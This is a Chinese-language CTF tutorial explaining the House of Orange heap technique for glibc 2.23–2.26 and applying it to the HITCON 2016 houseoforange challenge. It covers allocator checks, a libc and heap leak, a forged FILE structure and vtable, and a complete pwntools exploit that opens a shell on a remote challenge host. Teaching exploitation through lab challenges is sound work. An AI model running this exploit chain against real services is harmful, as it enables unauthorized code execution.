House Of Orange house of orange 这个手法的效果不大,得配合其他的手法来发挥威力
前置知识 学习这种手法之前建议学习的知识:
简介 House of orange是glibc2.23下常用的一种攻击手法,常用于当程序中没有free函数 的情况下,利用House of orange攻击能够释放一个unsortedbin 中的chunk,然后再结合unsortedbin attack和FSOP对_IO_FILE_plus.vtable进行攻击。是最早的一种 IO 利用方式,开启了堆与 IO 组合利用的先河
适用范围 libc版本:2.23——2.26
程序存在堆溢出
程序中没有free
原理 House of Orange可以让我们在没有free函数的情况下得到一个释放的堆块(unsorted bin)。
原理简单讲就是当我们申请的堆块大小超过了top_chunk的size时,原top_chunk会被释放并挂进unsorted bin中,这样我们就可以在没有free函数的情况下获取到unsorted bins,最后再映射或者扩展一个新的top_chunk。
想要利用该手法,我们得通过这几个检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 old_top = av->top; old_size = chunksize(old_top); old_end = (char *)(chunk_at_offset(old_top, old_size)); brk = snd_brk = (char *)(MORECORE_FAILURE); assert((old_top == initial_top(av) && old_size == 0 ) || ((unsigned long )(old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long )old_end & (pagesize - 1 )) == 0 )); assert((unsigned long )(old_size) < (unsigned long )(nb + MINSIZE));
检查:
old_top_chunk大小 ≥ MINSIZE
prev_inuse 标志为1
address&0xfff=0x000,也就是结束的地址要与页对齐
old_topchunk_size 小于请求的大小(nb)加上最小块大小(MINSIZE)
注:我们申请的chunk不能超过0x20000,不然申请的chunk为mmap映射出来的,不会调用sysmalloc函数来扩展top_chunk
我们得到一个unsortedbin中的chunk后结合unsortedbin attack加上我们的FSOP这样就是一次完整的house of orange攻击
利用函数
在House of orange 中的FSOP中,我们主要是利用malloc_printerr()函数去调用__libc_message()函数接着调用其中的abort来触发 _IO_flush_all_lockp()刷新IO_list_all链表上所有文件流
malloc_printerr():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { if (ar_ptr) arena_for_chunk (ptr)->flags |= ARENA_FLAG_CORRUPT; if ((action & 5 ) == 5 ) __libc_message (action & 2 , "*** Error in `%s': %s: 0x%s ***\n" , __libc_argv[0 ] ?: "<unknown>" , str, _int_free (ar_ptr, ptr, 0 ) ? "unknown pointer" : "???" ); else if (action & 1 ) __libc_message (action & 2 , "*** Error in `%s': %s: 0x%s ***\n" , __libc_argv[0 ] ?: "<unknown>" , str, "???" ); else __libc_message (action & 2 , "*** Error in `%s': %s ***\n" , __libc_argv[0 ] ?: "<unknown>" , str); }
该函数利用链如下
1 2 3 4 5 6 7 8 9 10 11 malloc_printerr() ↓ __libc_message() ↓abort () ↓ _IO_flush_all_lockp() ↓ _IO_OVERFLOW (vtable->__overflow) ↓ system("/bin/sh" ) [我们控制的]
大概利用步骤 0x01:
首先我们申请一个大小合适的chunk_A来通过堆溢出改写top_chunk_size为‘合适大小‘,然后我们再次申请一次chunk_B,size要大于old_top_chunk_size,这时old_top_chunk就会进入unsortedbin中,从而得到一个unsortbinchunk
什么为合适大小?
->前面说过address&0xfff=0x000,我们修改的old_top_chunk的结束地址要与页对齐,所以这就是
0x02:
通过其他手法获取libc基地址和堆内存基地址(某块可读写内存基地址)后,得到_IO_list_all和system的地址,我们通过chunk_A溢出修改old_top_chunk_size为0x61,使其bk = & _IO_list_all-0x10,同时伪造我们的FILE结构
为什么是0x61?
->IO_FILE.chain和首地址之间的偏移正好是0x60,且smallbin[4],具体可以看一下FSOP
0x03:
申请一个非0x60大小的chunk,触发unsortedbin attack,此时_IO_list_all被修改为main_arena+88,由于unsortedbin中我们的old_top_chunk不满足我们申请的的大小,将会进入smallbin[4](0x60大小)中(和main_arena+88之间的偏移是0x60字节的位置),随后遍历unsortedbin时由于unsorted bin 被破坏,调用malloc_printerr进而触发 _IO_flush_all_lockp从而调用我们伪造的 _IO_OVERFLOW函数指针来getshell
修改完后链表结构
例题: buuctf - houseoforange_hitcon_2016
依旧checksec
1 2 3 4 5 6 7 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'../tools/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64' FORTIFY: Enabled
保护全开
主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void __fastcall __noreturn main (const char *a1, char **a2, char **a3) { int v3; set_init(); while ( 1 ) { while ( 1 ) { menu(a1, a2); v3 = get_int(); if ( v3 != 2 ) break ; show(); } if ( v3 > 2 ) { if ( v3 == 3 ) { edit(); } else { if ( v3 == 4 ) { puts ("give up" ); exit (0 ); } LABEL_13: a1 = "Invalid choice" ; puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; add(); } } }
add:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int add () { unsigned int size; int size_4; _QWORD *new_chunk; _DWORD *v4; if ( house_id > 3u ) { puts ("Too many house" ); exit (1 ); } new_chunk = malloc (0x10u ); printf ("Length of name :" ); size = get_int(); if ( size > 0x1000 ) size = 0x1000 ; new_chunk[1 ] = malloc (size); if ( !new_chunk[1 ] ) { puts ("Malloc error !!!" ); exit (1 ); } printf ("Name :" ); read_0((void *)new_chunk[1 ], size); v4 = calloc (1u , 8u ); printf ("Price of Orange:" ); *v4 = get_int(); color(); printf ("Color of Orange:" ); size_4 = get_int(); if ( size_4 != 56746 && (size_4 <= 0 || size_4 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( size_4 == 56746 ) v4[1 ] = 56746 ; else v4[1 ] = size_4 + 30 ; *new_chunk = v4; house = new_chunk; ++house_id; return puts ("Finish" ); }
show:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int show () { int v0; int v2; if ( !house ) return puts ("No such house !" ); if ( *(_DWORD *)(*house + 4LL ) == 56746 ) { printf ("Name of house : %s\n" , (const char *)house[1 ]); printf ("Price of orange : %d\n" , *(_DWORD *)*house); v0 = rand(); return printf ("\x1B[01;38;5;214m%s\x1B[0m\n" , *((const char **)&unk_203080 + v0 % 8 )); } else { if ( *(int *)(*house + 4LL ) <= 30 || *(int *)(*house + 4LL ) > 37 ) { puts ("Color corruption!" ); exit (1 ); } printf ("Name of house : %s\n" , (const char *)house[1 ]); printf ("Price of orange : %d\n" , *(_DWORD *)*house); v2 = rand(); return printf ("\x1B[%dm%s\x1B[0m\n" , *(_DWORD *)(*house + 4LL ), *((const char **)&unk_203080 + v2 % 8 )); } }
edit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int edit () { _DWORD *v1; unsigned int v2; int v3; if ( upgrade_num > 2u ) return puts ("You can't upgrade more" ); if ( !house ) return puts ("No such house !" ); printf ("Length of name :" ); v2 = get_int(); if ( v2 > 0x1000 ) v2 = 4096 ; printf ("Name:" ); read_0((void *)house[1 ], v2); printf ("Price of Orange: " ); v1 = (_DWORD *)*house; *v1 = get_int(); color(); printf ("Color of Orange: " ); v3 = get_int(); if ( v3 != 56746 && (v3 <= 0 || v3 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( v3 == 56746 ) *(_DWORD *)(*house + 4LL ) = 56746 ; else *(_DWORD *)(*house + 4LL ) = v3 + 30 ; ++upgrade_num; return puts ("Finish" ); }
程序分析:
程序中无free,glibc版本为2.23使用house of orange
edit中存在堆溢出,可以溢出修改top_chunk_size,只能对特定chunk进行修改
add中只用管name和size,且只能使用4次,每次会申请3个chunk
思路:
1.程序中无free,我们先将top_chunk挂进unsortedbin中,
2.然后通过laregebin来leak出libc和堆基地址,
3.然后通过堆溢出再次修改old_top_chunk_size为0x61,覆盖其bk为_IO_list_all-0x10同时伪造好FILE结构,满足write_base =0< write_ptr =1,mode <= 0 ,vtable[3] = system,old_top_chunk的prev_size改为/bin/sh\x00,
4.最后再次申请一个非0x60大小的chunk来触发我们伪造的 _IO_OVERFLOW(fp)来getshell
释放top_chunk 首先申请一个0x400大小的chunk,然后溢出修改topchunk_size为0xbb1
1 2 add(0x400 ,b'jian' ,0xddaa ,1 ) edit(0x430 ,b'a' *0x400 +p64(0 )+p64(0x21 )+p64(0 )*3 +p64(0xbb1 ),0xddaa ,2 )
此时top_chunk位置为0x555555c01450
为什么size为0xbb1?
top_chunk位置为0x555555c01450距离0x555555c02000为0xbb0,0x555555c02000&0xfff = 0
为了满足topchunk结束的地址要与页对齐,所以这就是为什么size为0xbb1
接着我们申请一个0x1000大小的chunk直接将top_chunk挂进unsortedbin中
1 add(0x1000 ,b'1angx' ,0xddaa ,3 )
这样我们就得到了一个unsortedbin_chunk
泄露libc和heap地址 泄露libc好说,但是要泄露出堆地址我们就可以使用largebin来泄露不过中间得填充一些垃圾数据来预防0截断
泄露原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { size = chunksize(victim); if (size == nb) { } else if (size >= nb + MINSIZE) { } else { unlink(av, victim, bck, fwd); if (in_smallbin_range(size)) { } else { victim_index = largebin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; if (fwd != bck) { } else { victim->fd_nextsize = victim->bk_nextsize = victim; } victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; } } }
如果申请的大小在largebin的范围内,那么在解链unsorted bin的时候,会先把unsorted bin chunk放在large bin中所以在fd_nextsize和bk_nextsize上留下堆地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { if (size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; bck = fwd->bk_nextsize; victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } else { while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; } bck = fwd->bk_nextsize; victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } } else { victim->fd_nextsize = victim->bk_nextsize = victim; } victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; }
其中这一行:victim->fd_nextsize = victim->bk_nextsize = victim;
当 large bin 为空时会将 chunk 的 fd_nextsize和 bk_nextsize都指向自己
效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 add(0x400 ,b'\x10' ,0xddaa ,3 ) sleep(0.5 ) show() malloc_hook = uu64()-0x600 ph(malloc_hook,"malloc_hook" ) base = malloc_hook - libc.sym['__malloc_hook' ] ph(base,"base:" ) IO_list_all = base + libc.sym['_IO_list_all' ] system = base + libc.sym['system' ] ph(IO_list_all) edit(0x10 ,b'a' *0x10 ,0xddaa ,2 ) show() pc(b'a' *0x10 ) heap_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x4b0 ph(heap_base,"heap_base" )
伪造FILE结构,开始FSOP 我们将old_top_chunk的prev_size修改为/bin/sh其大小为0x61,bk设置为_IO_list_all-0X10,mode设置为0,io_overflow设置为system的地址
1 2 3 4 5 p1 = b'\x00' *0x18 +p64(system)+b'\x00' *0x400 +b'/bin/sh\x00' +p64(0x61 )+p64(0 )+p64(IO_list_all-0X10 )+p64(0 )+p64(1 ) p1+= b'\x00' *0xa8 p1+=p64(heap_base+0x4d8 -0x18 ) edit(0x600 ,p1,0xddaa ,1 )
修改完的链表如图:
最后申请非0x60大小的chunk即可触发fsop
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *from LibcSearcher import * context.log_level = 'debug' psl = lambda data : p.sendline(data) ps = lambda data : p.send(data) psla = lambda content,data : p.sendlineafter(content,data) psa = lambda content,data : p.sendafter(content,data) pc = lambda data : p.recvuntil(data) ph = lambda data,name=None : print (f"||{name} " +hex (data)) uu64 = lambda : u64(pc(b'\x7f' )[-6 ::].ljust(8 ,b'\x00' )) binary_name = './houseoforange_hitcon_2016' HOST = "node5.buuoj.cn" PORT = 25795 choice = input ("Please input yes->Process,no->Remote" )if "y" in choice: p = process(binary_name)elif "n" in choice: p = remote(HOST,PORT) libc_name = '../zctf2016_note2/libc-2.23.so' libc = ELF(libc_name) e = ELF(binary_name)def bug (): gdb.attach(p) pause()def cmd (choice ): psla("Your choice : " ,str (choice)) def add (size,name,price,color ): cmd(1 ) psla("Length of name :" ,str (size)) psa("Name :" ,name) psla("Price of Orange:" ,str (price)) psla("Color of Orange:" ,str (color))def show (): cmd(2 )def edit (size,name,price,color=None ): cmd(3 ) psla("Length of name :" ,str (size)) psla("Name:" ,name) psla("Price of Orange:" ,str (price)) sleep(0.5 ) psla("Color of Orange:" ,str (color))def exp (): add(0x400 ,b'jian' ,0xddaa ,1 ) edit(0x430 ,b'a' *0x400 +p64(0 )+p64(0x21 )+p64(0 )*3 +p64(0xbb1 ),0xddaa ,2 ) add(0x1000 ,b'1angx' ,0xddaa ,3 ) add(0x400 ,b'\x10' ,0xddaa ,3 ) sleep(0.5 ) show() malloc_hook = uu64()-0x600 ph(malloc_hook,"malloc_hook" ) base = malloc_hook - libc.sym['__malloc_hook' ] ph(base,"base:" ) IO_list_all = base + libc.sym['_IO_list_all' ] system = base + libc.sym['system' ] ph(IO_list_all) edit(0x10 ,b'a' *0x10 ,0xddaa ,2 ) show() pc(b'a' *0x10 ) heap_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x4b0 ph(heap_base,"heap_base" ) p1 = b'\x00' *0x18 +p64(system)+b'\x00' *0x400 +b'/bin/sh\x00' +p64(0x61 )+p64(0 )+p64(IO_list_all-0X10 )+p64(0 )+p64(1 ) p1+= b'\x00' *0xa8 p1+=p64(heap_base+0x4d8 -0x18 ) edit(0x600 ,p1,0xddaa ,1 ) cmd(1 ) exp() p.interactive()